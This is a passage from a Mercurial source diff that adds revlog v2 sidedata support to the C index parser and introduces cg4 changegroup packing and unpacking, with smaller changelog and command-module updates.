Padding for 96 bytes alignment */ + memset(data + 76, 0, self->hdrsize - 76); + } if (self->ntinitialized) nt_insert(&self->nt, c_node_id, rev); @@ -420,6 +458,56 @@ Py_RETURN_NONE; } +/* Replace an existing index entry's sidedata offset and length with new ones. + This cannot be used outside of the context of sidedata rewriting, + inside the transaction that creates the given revision. */ +static PyObject *index_replace_sidedata_info(indexObject *self, PyObject *args) +{ + uint64_t sidedata_offset; + int rev; + Py_ssize_t sidedata_comp_len; + char *data; +#if LONG_MAX == 0x7fffffffL + const char *const sidedata_format = PY23("nKi", "nKi"); +#else + const char *const sidedata_format = PY23("nki", "nki"); +#endif + + if (self->hdrsize == v1_hdrsize || self->inlined) { + /* + There is a bug in the transaction handling when going from an + inline revlog to a separate index and data file. Turn it off until + it's fixed, since v2 revlogs sometimes get rewritten on exchange. + See issue6485. + */ + raise_revlog_error(); + return NULL; + } + + if (!PyArg_ParseTuple(args, sidedata_format, &rev, &sidedata_offset, + &sidedata_comp_len)) + return NULL; + + if (rev < 0 || rev >= index_length(self)) { + PyErr_SetString(PyExc_IndexError, "revision outside index"); + return NULL; + } + if (rev < self->length) { + PyErr_SetString( + PyExc_IndexError, + "cannot rewrite entries outside of this transaction"); + return NULL; + } + + /* Find the newly added node, offset from the "already on-disk" length + */ + data = self->added + self->hdrsize * (rev - self->length); + putbe64(sidedata_offset, data + 64); + putbe32(sidedata_comp_len, data + 72); + + Py_RETURN_NONE; +} + static PyObject *index_stats(indexObject *self) { PyObject *obj = PyDict_New(); @@ -2563,14 +2651,17 @@ const char *data = (const char *)self->buf.buf; Py_ssize_t pos = 0; Py_ssize_t end = self->buf.len; - long incr = v1_hdrsize; + long incr = self->hdrsize; Py_ssize_t len = 0; - while (pos + v1_hdrsize <= end && pos >= 0) { - uint32_t comp_len; + while (pos + self->hdrsize <= end && pos >= 0) { + uint32_t comp_len, sidedata_comp_len = 0; /* 3rd element of header is length of compressed inline data */ comp_len = getbe32(data + pos + 8); - incr = v1_hdrsize + comp_len; + if (self->hdrsize == v2_hdrsize) { + sidedata_comp_len = getbe32(data + pos + 72); + } + incr = self->hdrsize + comp_len + sidedata_comp_len; if (offsets) offsets[len] = data + pos; len++; @@ -2586,11 +2677,13 @@ return len; } -static int index_init(indexObject *self, PyObject *args) +static int index_init(indexObject *self, PyObject *args, PyObject *kwargs) { - PyObject *data_obj, *inlined_obj; + PyObject *data_obj, *inlined_obj, *revlogv2; Py_ssize_t size; + static char *kwlist[] = {"data", "inlined", "revlogv2", NULL}; + /* Initialize before argument-checking to avoid index_dealloc() crash. */ self->added = NULL; @@ -2606,7 +2699,9 @@ self->nodelen = 20; self->nullentry = NULL; - if (!PyArg_ParseTuple(args, "OO", &data_obj, &inlined_obj)) + revlogv2 = NULL; + if (!PyArg_ParseTupleAndKeywords(args, kwargs, "OO|O", kwlist, + &data_obj, &inlined_obj, &revlogv2)) return -1; if (!PyObject_CheckBuffer(data_obj)) { PyErr_SetString(PyExc_TypeError, @@ -2618,8 +2713,22 @@ return -1; } - self->nullentry = Py_BuildValue(PY23("iiiiiiis#", "iiiiiiiy#"), 0, 0, 0, - -1, -1, -1, -1, nullid, self->nodelen); + if (revlogv2 && PyObject_IsTrue(revlogv2)) { + self->hdrsize = v2_hdrsize; + } else { + self->hdrsize = v1_hdrsize; + } + + if (self->hdrsize == v1_hdrsize) { + self->nullentry = + Py_BuildValue(PY23("iiiiiiis#", "iiiiiiiy#"), 0, 0, 0, -1, + -1, -1, -1, nullid, self->nodelen); + } else { + self->nullentry = + Py_BuildValue(PY23("iiiiiiis#ii", "iiiiiiiy#ii"), 0, 0, 0, + -1, -1, -1, -1, nullid, self->nodelen, 0, 0); + } + if (!self->nullentry) return -1; PyObject_GC_UnTrack(self->nullentry); @@ -2641,11 +2750,11 @@ goto bail; self->length = len; } else { - if (size % v1_hdrsize) { + if (size % self->hdrsize) { PyErr_SetString(PyExc_ValueError, "corrupt index file"); goto bail; } - self->length = size / v1_hdrsize; + self->length = size / self->hdrsize; } return 0; @@ -2730,6 +2839,8 @@ "compute phases"}, {"reachableroots2", (PyCFunction)reachableroots2, METH_VARARGS, "reachableroots"}, + {"replace_sidedata_info", (PyCFunction)index_replace_sidedata_info, + METH_VARARGS, "replace an existing index entry with a new value"}, {"headrevs", (PyCFunction)index_headrevs, METH_VARARGS, "get head revisions"}, /* Can do filtering since 3.2 */ {"headrevsfiltered", (PyCFunction)index_headrevs, METH_VARARGS, @@ -2756,6 +2867,12 @@ {NULL} /* Sentinel */ }; +static PyMemberDef index_members[] = { + {"entry_size", T_LONG, offsetof(indexObject, hdrsize), 0, + "size of an index entry"}, + {NULL} /* Sentinel */ +}; + PyTypeObject HgRevlogIndex_Type = { PyVarObject_HEAD_INIT(NULL, 0) /* header */ "parsers.index", /* tp_name */ @@ -2785,7 +2902,7 @@ 0, /* tp_iter */ 0, /* tp_iternext */ index_methods, /* tp_methods */ - 0, /* tp_members */ + index_members, /* tp_members */ index_getset, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ @@ -2797,16 +2914,16 @@ }; /* - * returns a tuple of the form (index, index, cache) with elements as + * returns a tuple of the form (index, cache) with elements as * follows: * - * index: an index object that lazily parses RevlogNG records + * index: an index object that lazily parses Revlog (v1 or v2) records * cache: if data is inlined, a tuple (0, index_file_content), else None * index_file_content could be a string, or a buffer * * added complications are for backwards compatibility */ -PyObject *parse_index2(PyObject *self, PyObject *args) +PyObject *parse_index2(PyObject *self, PyObject *args, PyObject *kwargs) { PyObject *cache = NULL; indexObject *idx; @@ -2816,7 +2933,7 @@ if (idx == NULL) goto bail; - ret = index_init(idx, args); + ret = index_init(idx, args, kwargs); if (ret == -1) goto bail; diff -r bc268ea9f984 -r f67b8946bb1b mercurial/changegroup.py --- a/mercurial/changegroup.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/changegroup.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,12 +1,13 @@ # changegroup.py - Mercurial changegroup manipulation functions # -# Copyright 2006 Matt Mackall +# Copyright 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. from __future__ import absolute_import +import collections import os import struct import weakref @@ -32,6 +33,7 @@ ) from .interfaces import repository +from .revlogutils import sidedata as sidedatamod _CHANGEGROUPV1_DELTA_HEADER = struct.Struct(b"20s20s20s20s") _CHANGEGROUPV2_DELTA_HEADER = struct.Struct(b"20s20s20s20s20s") @@ -202,7 +204,9 @@ header = self.deltaheader.unpack(headerdata) delta = readexactly(self._stream, l - self.deltaheadersize) node, p1, p2, deltabase, cs, flags = self._deltaheader(header, prevnode) - return (node, p1, p2, cs, deltabase, delta, flags) + # cg4 forward-compat + sidedata = {} + return (node, p1, p2, cs, deltabase, delta, flags, sidedata) def getchunks(self): """returns all the chunks contains in the bundle @@ -249,7 +253,7 @@ pos = next yield closechunk() - def _unpackmanifests(self, repo, revmap, trp, prog): + def _unpackmanifests(self, repo, revmap, trp, prog, addrevisioncb=None): self.callback = prog.increment # no need to check for empty manifest group here: # if the result of the merge of 1 and 2 is the same in 3 and 4, @@ -257,7 +261,8 @@ # be empty during the pull self.manifestheader() deltas = self.deltaiter() - repo.manifestlog.getstorage(b'').addgroup(deltas, revmap, trp) + storage = repo.manifestlog.getstorage(b'') + storage.addgroup(deltas, revmap, trp, addrevisioncb=addrevisioncb) prog.complete() self.callback = None @@ -269,6 +274,7 @@ url, targetphase=phases.draft, expectedtotal=None, + sidedata_categories=None, ): """Add the changegroup returned by source.read() to this repo. srctype is a string like 'push', 'pull', or 'unbundle'. url is @@ -279,9 +285,23 @@ - more heads than before: 1+added heads (2..n) - fewer heads than before: -1-removed heads (-2..-n) - number of heads stays the same: 1 + + `sidedata_categories` is an optional set of the remote's sidedata wanted + categories. """ repo = repo.unfiltered() + # Only useful if we're adding sidedata categories. If both peers have + # the same categories, then we simply don't do anything. + if self.version == b'04' and srctype == b'pull': + sidedata_helpers = get_sidedata_helpers( + repo, + sidedata_categories or set(), + pull=True, + ) + else: + sidedata_helpers = None + def csmap(x): repo.ui.debug(b"add changeset %s\n" % short(x)) return len(cl) @@ -316,14 +336,16 @@ self.callback = progress.increment efilesset = set() - cgnodes = [] + duprevs = [] - def ondupchangelog(cl, node): - if cl.rev(node) < clstart: - cgnodes.append(node) + def ondupchangelog(cl, rev): + if rev < clstart: + duprevs.append(rev) - def onchangelog(cl, node): - efilesset.update(cl.readfiles(node)) + def onchangelog(cl, rev): + ctx = cl.changelogrevision(rev) + efilesset.update(ctx.files) + repo.register_changeset(rev, ctx) self.changelogheader() deltas = self.deltaiter() @@ -331,6 +353,7 @@ deltas, csmap, trp, + alwayscache=True, addrevisioncb=onchangelog, duplicaterevisioncb=ondupchangelog, ): @@ -348,6 +371,13 @@ efilesset = None self.callback = None + # Keep track of the (non-changelog) revlogs we've updated and their + # range of new revisions for sidedata rewrite. + # TODO do something more efficient than keeping the reference to + # the revlogs, especially memory-wise. + touched_manifests = {} + touched_filelogs = {} + # pull off the manifest group repo.ui.status(_(b"adding manifests\n")) # We know that we'll never have more manifests than we had @@ -355,7 +385,24 @@ progress = repo.ui.makeprogress( _(b'manifests'), unit=_(b'chunks'), total=changesets ) - self._unpackmanifests(repo, revmap, trp, progress) + on_manifest_rev = None + if sidedata_helpers and b'manifest' in sidedata_helpers[1]: + + def on_manifest_rev(manifest, rev): + range = touched_manifests.get(manifest) + if not range: + touched_manifests[manifest] = (rev, rev) + else: + assert rev == range[1] + 1 + touched_manifests[manifest] = (range[0], rev) + + self._unpackmanifests( + repo, + revmap, + trp, + progress, + addrevisioncb=on_manifest_rev, + ) needfiles = {} if repo.ui.configbool(b'server', b'validate'): @@ -369,12 +416,37 @@ for f, n in pycompat.iteritems(mfest): needfiles.setdefault(f, set()).add(n) + on_filelog_rev = None + if sidedata_helpers and b'filelog' in sidedata_helpers[1]: + + def on_filelog_rev(filelog, rev): + range = touched_filelogs.get(filelog) + if not range: + touched_filelogs[filelog] = (rev, rev) + else: + assert rev == range[1] + 1 + touched_filelogs[filelog] = (range[0], rev) + # process the files repo.ui.status(_(b"adding file changes\n")) newrevs, newfiles = _addchangegroupfiles( - repo, self, revmap, trp, efiles, needfiles + repo, + self, + revmap, + trp, + efiles, + needfiles, + addrevisioncb=on_filelog_rev, ) + if sidedata_helpers: + if b'changelog' in sidedata_helpers[1]: + cl.rewrite_sidedata(sidedata_helpers, clstart, clend - 1) + for mf, (startrev, endrev) in touched_manifests.items(): + mf.rewrite_sidedata(sidedata_helpers, startrev, endrev) + for fl, (startrev, endrev) in touched_filelogs.items(): + fl.rewrite_sidedata(sidedata_helpers, startrev, endrev) + # making sure the value exists tr.changes.setdefault(b'changegroup-count-changesets', 0) tr.changes.setdefault(b'changegroup-count-revisions', 0) @@ -445,8 +517,12 @@ if added: phases.registernew(repo, tr, targetphase, added) if phaseall is not None: - phases.advanceboundary(repo, tr, phaseall, cgnodes, revs=added) - cgnodes = [] + if duprevs: + duprevs.extend(added) + else: + duprevs = added + phases.advanceboundary(repo, tr, phaseall, [], revs=duprevs) + duprevs = [] if changesets > 0: @@ -494,7 +570,7 @@ """ chain = None for chunkdata in iter(lambda: self.deltachunk(chain), {}): - # Chunkdata: (node, p1, p2, cs, deltabase, delta, flags) + # Chunkdata: (node, p1, p2, cs, deltabase, delta, flags, sidedata) yield chunkdata chain = chunkdata[0] @@ -534,17 +610,44 @@ node, p1, p2, deltabase, cs, flags = headertuple return node, p1, p2, deltabase, cs, flags - def _unpackmanifests(self, repo, revmap, trp, prog): - super(cg3unpacker, self)._unpackmanifests(repo, revmap, trp, prog) + def _unpackmanifests(self, repo, revmap, trp, prog, addrevisioncb=None): + super(cg3unpacker, self)._unpackmanifests( + repo, revmap, trp, prog, addrevisioncb=addrevisioncb + ) for chunkdata in iter(self.filelogheader, {}): # If we get here, there are directory manifests in the changegroup d = chunkdata[b"filename"] repo.ui.debug(b"adding %s revisions\n" % d) deltas = self.deltaiter() - if not repo.manifestlog.getstorage(d).addgroup(deltas, revmap, trp): + if not repo.manifestlog.getstorage(d).addgroup( + deltas, revmap, trp, addrevisioncb=addrevisioncb + ): raise error.Abort(_(b"received dir revlog group is empty")) +class cg4unpacker(cg3unpacker): + """Unpacker for cg4 streams. + + cg4 streams add support for exchanging sidedata. + """ + + version = b'04' + + def deltachunk(self, prevnode): + res = super(cg4unpacker, self).deltachunk(prevnode) + if not res: + return res + + (node, p1, p2, cs, deltabase, delta, flags, _sidedata) = res + + sidedata_raw = getchunk(self._stream) + sidedata = {} + if len(sidedata_raw) > 0: + sidedata = sidedatamod.deserialize_sidedata(sidedata_raw) + + return node, p1, p2, cs, deltabase, delta, flags, sidedata + + class headerlessfixup(object): def __init__(self, fh, h): self._h = h @@ -559,7 +662,7 @@ return readexactly(self._fh, n) -def _revisiondeltatochunks(delta, headerfn): +def _revisiondeltatochunks(repo, delta, headerfn): """Serialize a revisiondelta to changegroup chunks.""" # The captured revision delta may be encoded as a delta against @@ -585,6 +688,13 @@ yield prefix yield data + sidedata = delta.sidedata + if sidedata is not None: + # Need a separate chunk for sidedata to be able to differentiate + # "raw delta" length and sidedata length + yield chunkheader(len(sidedata)) + yield sidedata + def _sortnodesellipsis(store, nodes, cl, lookup): """Sort nodes for changegroup generation.""" @@ -678,7 +788,7 @@ # We failed to resolve a parent for this node, so # we crash the changegroup construction. raise error.Abort( - b'unable to resolve parent while packing %r %r' + b"unable to resolve parent while packing '%s' %r" b' for changeset %r' % (store.indexfile, rev, clrev) ) @@ -709,6 +819,7 @@ clrevtolocalrev=None, fullclnodes=None, precomputedellipsis=None, + sidedata_helpers=None, ): """Calculate deltas for a set of revisions. @@ -716,6 +827,8 @@ If topic is not None, progress detail will be generated using this topic name (e.g. changesets, manifests, etc). + + See `storageutil.emitrevisions` for the doc on `sidedata_helpers`. """ if not nodes: return @@ -814,6 +927,7 @@ revisiondata=True, assumehaveparentrevisions=not ellipses, deltamode=deltamode, + sidedata_helpers=sidedata_helpers, ) for i, revision in enumerate(revisions): @@ -854,6 +968,7 @@ shallow=False, ellipsisroots=None, fullnodes=None, + remote_sidedata=None, ): """Given a source repo, construct a bundler. @@ -886,6 +1001,8 @@ nodes. We store this rather than the set of nodes that should be ellipsis because for very large histories we expect this to be significantly smaller. + + remote_sidedata is the set of sidedata categories wanted by the remote. """ assert oldmatcher assert matcher @@ -902,6 +1019,9 @@ if bundlecaps is None: bundlecaps = set() self._bundlecaps = bundlecaps + if remote_sidedata is None: + remote_sidedata = set() + self._remote_sidedata = remote_sidedata self._isshallow = shallow self._fullclnodes = fullnodes @@ -928,11 +1048,26 @@ self._verbosenote(_(b'uncompressed size of bundle content:\n')) size = 0 + sidedata_helpers = None + if self.version == b'04': + remote_sidedata = self._remote_sidedata + if source == b'strip': + # We're our own remote when stripping, get the no-op helpers + # TODO a better approach would be for the strip bundle to + # correctly advertise its sidedata categories directly. + remote_sidedata = repo._wanted_sidedata + sidedata_helpers = get_sidedata_helpers(repo, remote_sidedata) + clstate, deltas = self._generatechangelog( - cl, clnodes, generate=changelog + cl, + clnodes, + generate=changelog, + sidedata_helpers=sidedata_helpers, ) for delta in deltas: - for chunk in _revisiondeltatochunks(delta, self._builddeltaheader): + for chunk in _revisiondeltatochunks( + self._repo, delta, self._builddeltaheader + ): size += len(chunk) yield chunk @@ -977,17 +1112,20 @@ fnodes, source, clstate[b'clrevtomanifestrev'], + sidedata_helpers=sidedata_helpers, ) for tree, deltas in it: if tree: - assert self.version == b'03' + assert self.version in (b'03', b'04') chunk = _fileheader(tree) size += len(chunk) yield chunk for delta in deltas: - chunks = _revisiondeltatochunks(delta, self._builddeltaheader) + chunks = _revisiondeltatochunks( + self._repo, delta, self._builddeltaheader + ) for chunk in chunks: size += len(chunk) yield chunk @@ -1002,7 +1140,7 @@ mfdicts = None if self._ellipses and self._isshallow: mfdicts = [ - (self._repo.manifestlog[n].read(), lr) + (repo.manifestlog[n].read(), lr) for (n, lr) in pycompat.iteritems(manifests) ] @@ -1017,6 +1155,7 @@ fastpathlinkrev, fnodes, clrevs, + sidedata_helpers=sidedata_helpers, ) for path, deltas in it: @@ -1025,7 +1164,9 @@ yield h for delta in deltas: - chunks = _revisiondeltatochunks(delta, self._builddeltaheader) + chunks = _revisiondeltatochunks( + self._repo, delta, self._builddeltaheader + ) for chunk in chunks: size += len(chunk) yield chunk @@ -1041,7 +1182,9 @@ if clnodes: repo.hook(b'outgoing', node=hex(clnodes[0]), source=source) - def _generatechangelog(self, cl, nodes, generate=True): + def _generatechangelog( + self, cl, nodes, generate=True, sidedata_helpers=None + ): """Generate data for changelog chunks. Returns a 2-tuple of a dict containing state and an iterable of @@ -1050,6 +1193,8 @@ if generate is False, the state will be fully populated and no chunk stream will be yielded + + See `storageutil.emitrevisions` for the doc on `sidedata_helpers`. """ clrevorder = {} manifests = {} @@ -1133,6 +1278,7 @@ clrevtolocalrev={}, fullclnodes=self._fullclnodes, precomputedellipsis=self._precomputedellipsis, + sidedata_helpers=sidedata_helpers, ) return state, gen @@ -1146,11 +1292,14 @@ fnodes, source, clrevtolocalrev, + sidedata_helpers=None, ): """Returns an iterator of changegroup chunks containing manifests. `source` is unused here, but is used by extensions like remotefilelog to change what is sent based in pulls vs pushes, etc. + + See `storageutil.emitrevisions` for the doc on `sidedata_helpers`. """ repo = self._repo mfl = repo.manifestlog @@ -1240,6 +1389,7 @@ clrevtolocalrev=clrevtolocalrev, fullclnodes=self._fullclnodes, precomputedellipsis=self._precomputedellipsis, + sidedata_helpers=sidedata_helpers, ) if not self._oldmatcher.visitdir(store.tree[:-1]): @@ -1278,6 +1428,7 @@ fastpathlinkrev, fnodes, clrevs, + sidedata_helpers=None, ): changedfiles = [ f @@ -1372,6 +1523,7 @@ clrevtolocalrev=clrevtolocalrev, fullclnodes=self._fullclnodes, precomputedellipsis=self._precomputedellipsis, + sidedata_helpers=sidedata_helpers, ) yield fname, deltas @@ -1388,6 +1540,7 @@ shallow=False, ellipsisroots=None, fullnodes=None, + remote_sidedata=None, ): builddeltaheader = lambda d: _CHANGEGROUPV1_DELTA_HEADER.pack( d.node, d.p1node, d.p2node, d.linknode @@ -1418,6 +1571,7 @@ shallow=False, ellipsisroots=None, fullnodes=None, + remote_sidedata=None, ): builddeltaheader = lambda d: _CHANGEGROUPV2_DELTA_HEADER.pack( d.node, d.p1node, d.p2node, d.basenode, d.linknode @@ -1447,6 +1601,7 @@ shallow=False, ellipsisroots=None, fullnodes=None, + remote_sidedata=None, ): builddeltaheader = lambda d: _CHANGEGROUPV3_DELTA_HEADER.pack( d.node, d.p1node, d.p2node, d.basenode, d.linknode, d.flags @@ -1467,12 +1622,47 @@ ) +def _makecg4packer( + repo, + oldmatcher, + matcher, + bundlecaps, + ellipses=False, + shallow=False, + ellipsisroots=None, + fullnodes=None, + remote_sidedata=None, +): + # Same header func as cg3. Sidedata is in a separate chunk from the delta to + # differenciate "raw delta" and sidedata. + builddeltaheader = lambda d: _CHANGEGROUPV3_DELTA_HEADER.pack( + d.node, d.p1node, d.p2node, d.basenode, d.linknode, d.flags + ) + + return cgpacker( + repo, + oldmatcher, + matcher, + b'04', + builddeltaheader=builddeltaheader, + manifestsend=closechunk(), + bundlecaps=bundlecaps, + ellipses=ellipses, + shallow=shallow, + ellipsisroots=ellipsisroots, + fullnodes=fullnodes, + remote_sidedata=remote_sidedata, + ) + + _packermap = { b'01': (_makecg1packer, cg1unpacker), # cg2 adds support for exchanging generaldelta b'02': (_makecg2packer, cg2unpacker), # cg3 adds support for exchanging revlog flags and treemanifests b'03': (_makecg3packer, cg3unpacker), + # ch4 adds support for exchanging sidedata + b'04': (_makecg4packer, cg4unpacker), } @@ -1492,11 +1682,9 @@ # # (or even to push subset of history) needv03 = True - if b'exp-sidedata-flag' in repo.requirements: - needv03 = True - # don't attempt to use 01/02 until we do sidedata cleaning - versions.discard(b'01') - versions.discard(b'02') + has_revlogv2 = requirements.REVLOGV2_REQUIREMENT in repo.requirements + if not has_revlogv2: + versions.discard(b'04') if not needv03: versions.discard(b'03') return versions @@ -1543,7 +1731,7 @@ # will support. For example, all hg versions that support generaldelta also # support changegroup 02. versions = supportedoutgoingversions(repo) - if b'generaldelta' in repo.requirements: + if requirements.GENERALDELTA_REQUIREMENT in repo.requirements: versions.discard(b'01') assert versions return min(versions) @@ -1559,6 +1747,7 @@ shallow=False, ellipsisroots=None, fullnodes=None, + remote_sidedata=None, ): assert version in supportedoutgoingversions(repo) @@ -1595,6 +1784,7 @@ shallow=shallow, ellipsisroots=ellipsisroots, fullnodes=fullnodes, + remote_sidedata=remote_sidedata, ) @@ -1638,8 +1828,15 @@ fastpath=False, bundlecaps=None, matcher=None, + remote_sidedata=None, ): - bundler = getbundler(version, repo, bundlecaps=bundlecaps, matcher=matcher) + bundler = getbundler( + version, + repo, + bundlecaps=bundlecaps, + matcher=matcher, + remote_sidedata=remote_sidedata, + ) repo = repo.unfiltered() commonrevs = outgoing.common @@ -1658,7 +1855,15 @@ return bundler.generate(commonrevs, csets, fastpathlinkrev, source) -def _addchangegroupfiles(repo, source, revmap, trp, expectedfiles, needfiles): +def _addchangegroupfiles( + repo, + source, + revmap, + trp, + expectedfiles, + needfiles, + addrevisioncb=None, +): revisions = 0 files = 0 progress = repo.ui.makeprogress( @@ -1673,7 +1878,13 @@ o = len(fl) try: deltas = source.deltaiter() - if not fl.addgroup(deltas, revmap, trp): + added = fl.addgroup( + deltas, + revmap, + trp, + addrevisioncb=addrevisioncb, + ) + if not added: raise error.Abort(_(b"received file revlog group is empty")) except error.CensoredBaseError as e: raise error.Abort(_(b"received delta base is censored: %s") % e) @@ -1702,3 +1913,25 @@ ) return revisions, files + + +def get_sidedata_helpers(repo, remote_sd_categories, pull=False): + # Computers for computing sidedata on-the-fly + sd_computers = collections.defaultdict(list) + # Computers for categories to remove from sidedata + sd_removers = collections.defaultdict(list) + + to_generate = remote_sd_categories - repo._wanted_sidedata + to_remove = repo._wanted_sidedata - remote_sd_categories + if pull: + to_generate, to_remove = to_remove, to_generate + + for revlog_kind, computers in repo._sidedata_computers.items(): + for category, computer in computers.items(): + if category in to_generate: + sd_computers[revlog_kind].append(computer) + if category in to_remove: + sd_removers[revlog_kind].append(computer) + + sidedata_helpers = (repo, sd_computers, sd_removers) + return sidedata_helpers diff -r bc268ea9f984 -r f67b8946bb1b mercurial/changelog.py --- a/mercurial/changelog.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/changelog.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # changelog.py - changelog class for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -191,7 +191,7 @@ # Extensions might modify _defaultextra, so let the constructor below pass # it in extra = attr.ib() - manifest = attr.ib(default=nullid) + manifest = attr.ib() user = attr.ib(default=b'') date = attr.ib(default=(0, 0)) files = attr.ib(default=attr.Factory(list)) @@ -200,6 +200,7 @@ p1copies = attr.ib(default=None) p2copies = attr.ib(default=None) description = attr.ib(default=b'') + branchinfo = attr.ib(default=(_defaultextra[b'branch'], False)) class changelogrevision(object): @@ -218,9 +219,9 @@ '_changes', ) - def __new__(cls, text, sidedata, cpsd): + def __new__(cls, cl, text, sidedata, cpsd): if not text: - return _changelogrevision(extra=_defaultextra) + return _changelogrevision(extra=_defaultextra, manifest=nullid) self = super(changelogrevision, cls).__new__(cls) # We could return here and implement the following as an __init__. @@ -372,9 +373,14 @@ def description(self): return encoding.tolocal(self._text[self._offsets[3] + 2 :]) + @property + def branchinfo(self): + extra = self.extra + return encoding.tolocal(extra.get(b"branch")), b'close' in extra + class changelog(revlog.revlog): - def __init__(self, opener, trypending=False): + def __init__(self, opener, trypending=False, concurrencychecker=None): """Load a changelog revlog using an opener. If ``trypending`` is true, we attempt to load the index from a @@ -383,6 +389,9 @@ revision) data for a transaction that hasn't been finalized yet. It exists in a separate file to facilitate readers (such as hooks processes) accessing data before a transaction is finalized. + + ``concurrencychecker`` will be passed to the revlog init function, see + the documentation there. """ if trypending and opener.exists(b'00changelog.i.a'): indexfile = b'00changelog.i.a' @@ -398,6 +407,7 @@ checkambig=True, mmaplargeindex=True, persistentnodemap=opener.options.get(b'persistent-nodemap', False), + concurrencychecker=concurrencychecker, ) if self._initempty and (self.version & 0xFFFF == revlog.REVLOGV1): @@ -418,6 +428,7 @@ self._filteredrevs = frozenset() self._filteredrevs_hashcache = {} self._copiesstorage = opener.options.get(b'copies-storage') + self.revlog_kind = b'changelog' @property def filteredrevs(self): @@ -497,7 +508,7 @@ if not self._delayed: revlog.revlog._enforceinlinesize(self, tr, fp) - def read(self, node): + def read(self, nodeorrev): """Obtain data from a parsed changelog revision. Returns a 6-tuple of: @@ -513,9 +524,9 @@ ``changelogrevision`` instead, as it is faster for partial object access. """ - d, s = self._revisiondata(node) + d, s = self._revisiondata(nodeorrev) c = changelogrevision( - d, s, self._copiesstorage == b'changeset-sidedata' + self, d, s, self._copiesstorage == b'changeset-sidedata' ) return (c.manifest, c.user, c.date, c.files, c.description, c.extra) @@ -523,14 +534,14 @@ """Obtain a ``changelogrevision`` for a node or revision.""" text, sidedata = self._revisiondata(nodeorrev) return changelogrevision( - text, sidedata, self._copiesstorage == b'changeset-sidedata' + self, text, sidedata, self._copiesstorage == b'changeset-sidedata' ) - def readfiles(self, node): + def readfiles(self, nodeorrev): """ short version of read that only returns the files modified by the cset """ - text = self.revision(node) + text = self.revision(nodeorrev) if not text: return [] last = text.index(b"\n\n") @@ -592,21 +603,21 @@ parseddate = b"%s %s" % (parseddate, extra) l = [hex(manifest), user, parseddate] + sortedfiles + [b"", desc] text = b"\n".join(l) - return self.addrevision( + rev = self.addrevision( text, transaction, len(self), p1, p2, sidedata=sidedata, flags=flags ) + return self.node(rev) def branchinfo(self, rev): """return the branch name and open/close state of a revision This function exists because creating a changectx object just to access this is costly.""" - extra = self.changelogrevision(rev).extra - return encoding.tolocal(extra.get(b"branch")), b'close' in extra + return self.changelogrevision(rev).branchinfo - def _nodeduplicatecallback(self, transaction, node): + def _nodeduplicatecallback(self, transaction, rev): # keep track of revisions that got "re-added", eg: unbunde of know rev. # # We track them in a list to preserve their order from the source bundle duplicates = transaction.changes.setdefault(b'revduplicates', []) - duplicates.append(self.rev(node)) + duplicates.append(rev) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/cmdutil.py --- a/mercurial/cmdutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/cmdutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # cmdutil.py - help for command processing in mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -16,6 +16,7 @@ from .node import ( hex, nullid, + nullrev, short, ) from .pycompat import ( @@ -1936,12 +1937,12 @@ ui.debug(b'message:\n%s\n' % (message or b'')) if len(parents) == 1: - parents.append(repo[nullid]) + parents.append(repo[nullrev]) if opts.get(b'exact'): if not nodeid or not p1: raise error.InputError(_(b'not a Mercurial patch')) p1 = repo[p1] - p2 = repo[p2 or nullid] + p2 = repo[p2 or nullrev] elif p2: try: p1 = repo[p1] @@ -1951,10 +1952,10 @@ # first parent. if p1 != parents[0]: p1 = parents[0] - p2 = repo[nullid] + p2 = repo[nullrev] except error.RepoError: p1, p2 = parents - if p2.node() == nullid: + if p2.rev() == nullrev: ui.warn( _( b"warning: import the patch as a normal revision\n" @@ -2967,20 +2968,6 @@ # Reroute the working copy parent to the new changeset repo.setparents(newid, nullid) - mapping = {old.node(): (newid,)} - obsmetadata = None - if opts.get(b'note'): - obsmetadata = {b'note': encoding.fromlocal(opts[b'note'])} - backup = ui.configbool(b'rewrite', b'backup-bundle') - scmutil.cleanupnodes( - repo, - mapping, - b'amend', - metadata=obsmetadata, - fixphase=True, - targetphase=commitphase, - backup=backup, - ) # Fixing the dirstate because localrepo.commitctx does not update # it. This is rather convenient because we did not need to update @@ -3003,6 +2990,21 @@ for f in removedfiles: dirstate.drop(f) + mapping = {old.node(): (newid,)} + obsmetadata = None + if opts.get(b'note'): + obsmetadata = {b'note': encoding.fromlocal(opts[b'note'])} + backup = ui.configbool(b'rewrite', b'backup-bundle') + scmutil.cleanupnodes( + repo, + mapping, + b'amend', + metadata=obsmetadata, + fixphase=True, + targetphase=commitphase, + backup=backup, + ) + return newid @@ -3774,7 +3776,7 @@ raise error.StateError(state.msg(), hint=state.hint()) for s in statemod._unfinishedstates: - if s._opname == b'merge' or state._reportonly: + if s._opname == b'merge' or s._reportonly: continue if s._clearable and s.isunfinished(repo): util.unlink(repo.vfs.join(s._fname)) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/commands.py --- a/mercurial/commands.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/commands.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # commands.py - command processing for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -74,8 +74,15 @@ from .utils import ( dateutil, stringutil, + urlutil, ) +if pycompat.TYPE_CHECKING: + from typing import ( + List, + ) + + table = {} table.update(debugcommandsmod.command._table) @@ -1107,9 +1114,8 @@ transition = b"bad" state[transition].append(node) ctx = repo[node] - ui.status( - _(b'changeset %d:%s: %s\n') % (ctx.rev(), ctx, transition) - ) + summary = cmdutil.format_changeset_summary(ui, ctx, b'bisect') + ui.status(_(b'changeset %s: %s\n') % (summary, transition)) hbisect.checkstate(state) # 